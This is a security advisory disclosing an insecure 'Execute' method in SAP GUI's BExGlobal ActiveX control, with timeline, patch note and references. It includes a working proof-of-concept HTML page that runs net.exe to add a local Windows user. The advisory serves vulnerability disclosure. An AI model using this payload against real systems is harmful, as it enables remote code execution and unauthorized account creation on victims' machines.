SAP GUI 7.00 – BExGlobal Active-X unsecure method
Security vulnerability found in SAP GUI 7.10 and BI 7.0 that allows operating system functions to be called remotely. Application: SAP GUI Versions Affected: SAP GUI (SAP GUI 7.1) Vendor URL: http://SAP.com Bugs: Insecure method. Code Execution. Exploits: YES Reported: 16.10.2009 Vendor response: 27.10.2009 Date of Public Advisory: 23.03.2010 Author: Alexey Sintsov from DSecRG Description *********** Insecure method was founded in SAPBExCommonResources (class BExGlobal) activeX control component which is a part of SAP GUI. One of the methods (Execute) can be used to execute files on users system. Details ******* Attacker can construct html page which call vulnerable function "Execute" from ActiveX Object BExGlobal. Example (add user 'don_huan' with password 'p4ssW0rd'): ******* <html> <title>*DSecRG* Add user *DSecRG*</title> <object classid="clsid:A009C90D-814B-11D3-BA3E-080009D22344" id='DH'></object> <script language='Javascript'> function init() { DH.Execute("net.exe","user don_huan p4ssW0rd /add","d:\\windows\\",1,"",1); } init(); </script> DSecRG </html> Fix Information *************** All patches are available since December via note 1407285 References ********** http://dsecrg.com/pages/vul/show.php?id=164 https://service.sap.com/sap/support/notes/1407285. About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. |